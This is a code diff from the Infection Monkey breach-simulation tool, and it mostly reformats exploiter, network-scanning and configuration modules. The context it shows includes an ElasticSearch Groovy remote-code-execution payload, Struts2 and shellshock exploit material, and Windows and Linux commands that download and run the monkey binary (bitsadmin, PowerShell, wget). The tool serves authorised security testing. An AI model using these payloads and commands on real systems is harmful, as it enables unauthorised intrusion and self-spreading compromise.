FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
|
||||
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
|
||||
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts "
|
||||
"that indicate attempts to access them. "
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
|
||||
PILLARS_KEY: [DATA],
|
||||
|
@ -130,7 +137,8 @@ TESTS_MAP = {
|
|||
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
|
||||
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
|
||||
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate "
|
||||
"attempts to access them. "
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
|
||||
PILLARS_KEY: [DATA],
|
||||
|
@ -139,7 +147,8 @@ TESTS_MAP = {
|
|||
TEST_TUNNELING: {
|
||||
TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
|
||||
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - "
|
||||
"restrict them. "
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
|
||||
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
|
||||
|
@ -148,7 +157,8 @@ TESTS_MAP = {
|
|||
TEST_COMMUNICATE_AS_NEW_USER: {
|
||||
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
|
||||
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - "
|
||||
"restrict them to MAC only.",
|
||||
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
|
||||
|
|
|
@ -59,7 +59,7 @@ class NetworkRange(object, metaclass=ABCMeta):
|
|||
ips = address_str.split('-')
|
||||
try:
|
||||
ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1])
|
||||
except ValueError as e:
|
||||
except ValueError:
|
||||
return False
|
||||
return True
|
||||
return False
|
||||
|
@ -173,4 +173,3 @@ class SingleIpRange(NetworkRange):
|
|||
return None, string_
|
||||
# If a string_ was entered instead of IP we presume that it was domain name and translate it
|
||||
return ip, domain_name
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
from common.network.network_range import *
|
||||
from common.network.network_range import CidrRange
|
||||
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
|
||||
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
|
||||
|
||||
# abstract, static method decorator
|
||||
# noinspection PyPep8Naming
|
||||
class abstractstatic(staticmethod):
|
||||
__slots__ = ()
|
||||
|
||||
def __init__(self, function):
|
||||
super(abstractstatic, self).__init__(function)
|
||||
function.__isabstractmethod__ = True
|
||||
|
||||
__isabstractmethod__ = True
|
||||
|
|
|
@ -80,4 +80,3 @@ class MongoUtils:
|
|||
continue
|
||||
|
||||
return row
|
||||
|
||||
|
|
|
@ -71,7 +71,7 @@ class Configuration(object):
|
|||
|
||||
val_type = type(value)
|
||||
|
||||
if val_type is types.FunctionType or val_type is types.MethodType:
|
||||
if isinstance(val_type, types.FunctionType) or isinstance(val_type, types.MethodType):
|
||||
continue
|
||||
|
||||
if val_type in (type, ABCMeta):
|
||||
|
|
|
@ -304,7 +304,7 @@ class ControlClient(object):
|
|||
try:
|
||||
target_addr, target_port = my_proxy.split(':', 1)
|
||||
target_port = int(target_port)
|
||||
except:
|
||||
except ValueError:
|
||||
return None
|
||||
else:
|
||||
proxy_class = HTTPConnectProxy
|
||||
|
|
|
@ -26,6 +26,7 @@ else:
|
|||
try:
|
||||
WindowsError
|
||||
except NameError:
|
||||
# noinspection PyShadowingBuiltins
|
||||
WindowsError = IOError
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
@ -103,14 +104,14 @@ class MonkeyDrops(object):
|
|||
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
|
||||
try:
|
||||
ref_stat = os.stat(dropper_date_reference_path)
|
||||
except OSError as exc:
|
||||
except OSError:
|
||||
LOG.warning("Cannot set reference date using '%s', file not found",
|
||||
dropper_date_reference_path)
|
||||
else:
|
||||
try:
|
||||
os.utime(self._config['destination_path'],
|
||||
(ref_stat.st_atime, ref_stat.st_mtime))
|
||||
except:
|
||||
except OSError:
|
||||
LOG.warning("Cannot set reference date to destination file")
|
||||
|
||||
monkey_options = \
|
||||
|
|
|
@ -47,7 +47,9 @@ class HostExploiter(object, metaclass=ABCMeta):
|
|||
|
||||
def exploit_host(self):
|
||||
self.pre_exploit()
|
||||
try:
|
||||
result = self._exploit_host()
|
||||
finally:
|
||||
self.post_exploit()
|
||||
return result
|
||||
|
||||
|
|
|
@ -26,8 +26,8 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
# attack URLs
|
||||
MONKEY_RESULT_FIELD = "monkey_result"
|
||||
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
||||
JAVA_CMD = GENERIC_QUERY \
|
||||
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||
JAVA_CMD = \
|
||||
GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Elastic search'
|
||||
|
|
|
@ -11,13 +11,12 @@ from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
|
|||
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
|
||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MSSQLExploiter(HostExploiter):
|
||||
|
||||
_EXPLOITED_SERVICE = 'MSSQL'
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
|
@ -185,7 +184,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
|
||||
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
||||
'aborting brute force'.format(host, port))
|
||||
raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||
raise FailedExploitationError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||
|
||||
|
||||
class MSSQLLimitedSizePayload(LimitedSizePayload):
|
||||
|
|
|
@ -20,7 +20,7 @@ from infection_monkey.exploit import HostExploiter
|
|||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.network.smbfinger import SMB_SERVICE
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
@ -448,7 +448,12 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||
else:
|
||||
return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
|
||||
return SambaCryExploiter.create_smb(
|
||||
smb_client,
|
||||
treeId,
|
||||
pathName,
|
||||
desiredAccess=FILE_READ_DATA,
|
||||
shareMode=FILE_SHARE_READ,
|
||||
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
|
||||
creationOptions=FILE_OPEN,
|
||||
creationDisposition=FILE_NON_DIRECTORY_FILE,
|
||||
fileAttributes=0)
|
||||
|
|
|
@ -1,7 +1,8 @@
|
|||
# resource for shellshock attack
|
||||
# copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list
|
||||
|
||||
CGI_FILES = (r'/',
|
||||
CGI_FILES = (
|
||||
r'/',
|
||||
r'/admin.cgi',
|
||||
r'/administrator.cgi',
|
||||
r'/agora.cgi',
|
||||
|
@ -403,4 +404,5 @@ CGI_FILES = (r'/',
|
|||
r'/webtools/bonsai/showcheckins.cgi',
|
||||
r'/wwwadmin.cgi',
|
||||
r'/wwwboard.cgi',
|
||||
r'/wwwboard/wwwboard.cgi')
|
||||
r'/wwwboard/wwwboard.cgi'
|
||||
)
|
||||
|
|
|
@ -7,10 +7,9 @@ import paramiko
|
|||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.model import MONKEY_ARG
|
||||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||
from infection_monkey.exploit.tools.exceptions import FailedExploitationError
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
|
|
@ -3,13 +3,14 @@
|
|||
code used is from https://www.exploit-db.com/exploits/41570/
|
||||
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
||||
"""
|
||||
import urllib.request, urllib.error, urllib.parse
|
||||
import http.client
|
||||
import unicodedata
|
||||
import logging
|
||||
import re
|
||||
import ssl
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
|
||||
import logging
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
|
||||
|
||||
class ExploitingVulnerableMachineError(Exception):
|
||||
""" Raise when exploiter failed, but machine is vulnerable"""
|
||||
|
||||
|
|
|
@ -1,52 +1,8 @@
|
|||
import logging
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from infection_monkey.network.info import get_routes
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def get_interface_to_target(dst):
|
||||
"""
|
||||
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
|
||||
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
|
||||
"""
|
||||
if sys.platform == "win32":
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
def atol(x):
|
||||
ip = socket.inet_aton(x)
|
||||
return struct.unpack("!I", ip)[0]
|
||||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
||||
|
||||
|
||||
def try_get_target_monkey(host):
|
||||
src_path = get_target_monkey(host)
|
||||
if not src_path:
|
||||
|
|
|
@ -1,14 +1,17 @@
|
|||
import logging
|
||||
import os
|
||||
import os.path
|
||||
import urllib.request, urllib.parse, urllib.error
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from threading import Lock
|
||||
|
||||
from infection_monkey.model import DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
|
||||
from infection_monkey.model import DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.exploit.tools.helpers import try_get_target_monkey
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
|
|
@ -29,4 +29,3 @@ class TestPayload(TestCase):
|
|||
array2[1] == "prefix5678suffix" and len(array2) == 2)
|
||||
|
||||
assert test1 and test2
|
||||
|
||||
|
|
|
@ -10,8 +10,9 @@ import infection_monkey.config
|
|||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.config import Configuration
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
|
|
@ -4,9 +4,10 @@ from posixpath import join
|
|||
from abc import abstractmethod
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.model import *
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.model import CHECK_COMMAND, ID_STRING, GET_ARCH_LINUX, GET_ARCH_WINDOWS, BITSADMIN_CMDLINE_HTTP, \
|
||||
POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT, CHMOD_MONKEY, RUN_MONKEY, MONKEY_ARG, DROPPER_ARG
|
||||
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
|
@ -256,7 +257,7 @@ class WebRCE(HostExploiter):
|
|||
if 'No such file' in resp:
|
||||
return False
|
||||
else:
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % str(host))
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % str(self.host))
|
||||
return True
|
||||
|
||||
def check_remote_files(self, url):
|
||||
|
@ -284,7 +285,7 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
ports = self.get_open_service_ports(ports, names)
|
||||
if not ports:
|
||||
LOG.info("All default web ports are closed on %r, skipping", str(host))
|
||||
LOG.info("All default web ports are closed on %r, skipping", str(self.host))
|
||||
return False
|
||||
else:
|
||||
return ports
|
||||
|
@ -461,7 +462,7 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
# Determine which destination path to use
|
||||
dest_path = self.get_monkey_upload_path(src_path)
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
|
@ -9,11 +8,10 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
|
|||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
@ -34,7 +32,6 @@ HEADERS = {
|
|||
|
||||
|
||||
class WebLogicExploiter(HostExploiter):
|
||||
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Weblogic'
|
||||
|
||||
|
|
|
@ -39,7 +39,8 @@ class WmiExploiter(HostExploiter):
|
|||
password_hashed = self._config.hash_sensitive_data(password)
|
||||
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
|
||||
mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
|
||||
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
|
||||
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \
|
||||
"({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
|
||||
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
|
||||
|
||||
wmi_connection = WmiTools.WmiConnection()
|
||||
|
@ -121,4 +122,3 @@ class WmiExploiter(HostExploiter):
|
|||
return success
|
||||
|
||||
return False
|
||||
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import logging
|
||||
|
@ -23,8 +21,11 @@ LOG = None
|
|||
|
||||
LOG_CONFIG = {'version': 1,
|
||||
'disable_existing_loggers': False,
|
||||
'formatters': {'standard': {
|
||||
'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
|
||||
'formatters': {
|
||||
'standard': {
|
||||
'format':
|
||||
'%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'
|
||||
},
|
||||
},
|
||||
'handlers': {'console': {'class': 'logging.StreamHandler',
|
||||
'level': 'DEBUG',
|
||||
|
|
|
@ -11,11 +11,14 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
|
|||
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
||||
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
|
||||
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
|
||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
|
||||
'/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
|
||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
|
||||
'file_path)s exit)) > NUL 2>&1 '
|
||||
|
||||
# Commands used for downloading monkeys
|
||||
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
|
||||
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
|
||||
"monkey_path)s\' -UseBasicParsing\" "
|
||||
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
|
||||
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
||||
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
||||
|
|
|
@ -26,8 +26,8 @@ from infection_monkey.telemetry.trace_telem import TraceTelem
|
|||
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
|
||||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
|
||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
|
||||
|
@ -182,8 +182,8 @@ class InfectionMonkey(object):
|
|||
monkey_tunnel.set_tunnel_for_host(machine)
|
||||
if self._default_server:
|
||||
if self._network.on_island(self._default_server):
|
||||
machine.set_default_server(get_interface_to_target(machine.ip_addr) + (
|
||||
':' + self._default_server_port if self._default_server_port else ''))
|
||||
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
|
||||
(':' + self._default_server_port if self._default_server_port else ''))
|
||||
else:
|
||||
machine.set_default_server(self._default_server)
|
||||
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
|
||||
|
@ -312,6 +312,8 @@ class InfectionMonkey(object):
|
|||
machine, exploiter.__class__.__name__, exc)
|
||||
self.successfully_exploited(machine, exploiter)
|
||||
return True
|
||||
except FailedExploitationError as e:
|
||||
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
|
||||
except Exception as exc:
|
||||
LOG.exception("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
|
|
|
@ -68,17 +68,11 @@ def process_datas(orig_datas):
|
|||
|
||||
|
||||
def get_binaries():
|
||||
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
|
||||
binaries = [] if is_windows() else get_linux_only_binaries()
|
||||
binaries += get_sc_binaries()
|
||||
return binaries
|
||||
|
||||
|
||||
def get_windows_only_binaries():
|
||||
binaries = []
|
||||
binaries += get_msvcr()
|
||||
return binaries
|
||||
|
||||
|
||||
def get_linux_only_binaries():
|
||||
binaries = []
|
||||
binaries += get_traceroute_binaries()
|
||||
|
@ -93,10 +87,6 @@ def get_sc_binaries():
|
|||
return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']]
|
||||
|
||||
|
||||
def get_msvcr():
|
||||
return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
|
||||
|
||||
|
||||
def get_traceroute_binaries():
|
||||
traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64'
|
||||
return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')]
|
||||
|
|
|
@ -34,7 +34,6 @@ class VirtualFile(BytesIO):
|
|||
return path in VirtualFile._vfs
|
||||
|
||||
|
||||
|
||||
def getsize(path):
|
||||
if path.startswith(MONKEYFS_PREFIX):
|
||||
return VirtualFile.getsize(path)
|
||||
|
@ -53,6 +52,7 @@ def virtual_path(name):
|
|||
return "%s%s" % (MONKEYFS_PREFIX, name)
|
||||
|
||||
|
||||
# noinspection PyShadowingBuiltins
|
||||
def open(name, mode='r', buffering=-1):
|
||||
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
|
||||
if name.startswith(MONKEYFS_PREFIX):
|
||||
|
|
|
@ -8,6 +8,7 @@ def _run_netsh_cmd(command, args):
|
|||
if value])), stdout=subprocess.PIPE)
|
||||
return cmd.stdout.read().strip().lower().endswith('ok.')
|
||||
|
||||
|
||||
class FirewallApp(object):
|
||||
def is_enabled(self, **kwargs):
|
||||
return False
|
||||
|
@ -24,7 +25,7 @@ class FirewallApp(object):
|
|||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, type, value, traceback):
|
||||
def __exit__(self, exc_type, value, traceback):
|
||||
self.close()
|
||||
|
||||
def close(self):
|
||||
|
@ -48,9 +49,9 @@ class WinAdvFirewall(FirewallApp):
|
|||
except:
|
||||
return None
|
||||
|
||||
def add_firewall_rule(self, name="Firewall", dir="in", action="allow", program=sys.executable, **kwargs):
|
||||
def add_firewall_rule(self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs):
|
||||
netsh_args = {'name': name,
|
||||
'dir': dir,
|
||||
'dir': direction,
|
||||
'action': action,
|
||||
'program': program}
|
||||
netsh_args.update(kwargs)
|
||||
|
|
|
@ -13,9 +13,13 @@ from requests import ConnectionError
|
|||
from common.network.network_range import CidrRange
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
|
||||
# Timeout for monkey connections
|
||||
TIMEOUT = 15
|
||||
LOOPBACK_NAME = b"lo"
|
||||
SIOCGIFADDR = 0x8915 # get PA address
|
||||
SIOCGIFNETMASK = 0x891b # get network PA mask
|
||||
RTF_UP = 0x0001 # Route usable
|
||||
RTF_REJECT = 0x0200
|
||||
|
||||
|
||||
def get_host_subnets():
|
||||
|
@ -43,31 +47,20 @@ def get_host_subnets():
|
|||
|
||||
|
||||
if is_windows_os():
|
||||
|
||||
def local_ips():
|
||||
local_hostname = socket.gethostname()
|
||||
return socket.gethostbyname_ex(local_hostname)[2]
|
||||
|
||||
|
||||
def get_routes():
|
||||
raise NotImplementedError()
|
||||
|
||||
else:
|
||||
from fcntl import ioctl
|
||||
|
||||
|
||||
def local_ips():
|
||||
valid_ips = [network['addr'] for network in get_host_subnets()]
|
||||
return valid_ips
|
||||
|
||||
|
||||
def get_routes(): # based on scapy implementation for route parsing
|
||||
LOOPBACK_NAME = b"lo"
|
||||
SIOCGIFADDR = 0x8915 # get PA address
|
||||
SIOCGIFNETMASK = 0x891b # get network PA mask
|
||||
RTF_UP = 0x0001 # Route usable
|
||||
RTF_REJECT = 0x0200
|
||||
|
||||
try:
|
||||
f = open("/proc/net/route", "r")
|
||||
except IOError:
|
||||
|
|
|
@ -11,7 +11,6 @@ LOG = logging.getLogger(__name__)
|
|||
|
||||
|
||||
class MSSQLFinger(HostFinger):
|
||||
|
||||
# Class related consts
|
||||
SQL_BROWSER_DEFAULT_PORT = 1434
|
||||
BUFFER_SIZE = 4096
|
||||
|
|
|
@ -48,7 +48,7 @@ class MySQLFinger(HostFinger):
|
|||
return False
|
||||
|
||||
version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing
|
||||
version = version[0]
|
||||
version = version[0].decode()
|
||||
self.init_service(host.services, SQL_SERVICE, MYSQL_PORT)
|
||||
host.services[SQL_SERVICE]['version'] = version
|
||||
version = version.split('-')[0].split('.')
|
||||
|
|
|
@ -6,7 +6,8 @@ import sys
|
|||
|
||||
import infection_monkey.config
|
||||
from infection_monkey.network.HostFinger import HostFinger
|
||||
import infection_monkey.network.HostScanner
|
||||
from infection_monkey.network.HostScanner import HostScanner
|
||||
from infection_monkey.model.host import VictimHost
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -19,8 +20,7 @@ WINDOWS_TTL = 128
|
|||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class PingScanner(infection_monkey.network.HostScanner.HostScanner, HostFinger):
|
||||
|
||||
class PingScanner(HostScanner, HostFinger):
|
||||
_SCANNED_SERVICE = ''
|
||||
|
||||
def __init__(self):
|
||||
|
@ -47,14 +47,12 @@ class PingScanner(infection_monkey.network.HostScanner.HostScanner, HostFinger):
|
|||
if not "win32" == sys.platform:
|
||||
timeout /= 1000
|
||||
|
||||
sub_proc = subprocess.Popen(["ping",
|
||||
PING_COUNT_FLAG,
|
||||
"1",
|
||||
PING_TIMEOUT_FLAG,
|
||||
str(timeout), host.ip_addr],
|
||||
sub_proc = subprocess.Popen(
|
||||
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
text=True)
|
||||
text=True
|
||||
)
|
||||
|
||||
output = " ".join(sub_proc.communicate())
|
||||
regex_result = self._ttl_regex.search(output)
|
||||
|
|
|
@ -29,7 +29,7 @@ class Packet:
|
|||
return b"".join(content_list)
|
||||
|
||||
|
||||
##### SMB Packets #####
|
||||
# SMB Packets
|
||||
class SMBHeader(Packet):
|
||||
fields = odict([
|
||||
("proto", b"\xff\x53\x4d\x42"),
|
||||
|
@ -91,7 +91,13 @@ class SMBSessionFingerData(Packet):
|
|||
("capabilities", b"\xd4\x00\x00\xa0"),
|
||||
("bcc1", ""),
|
||||
("Data",
|
||||
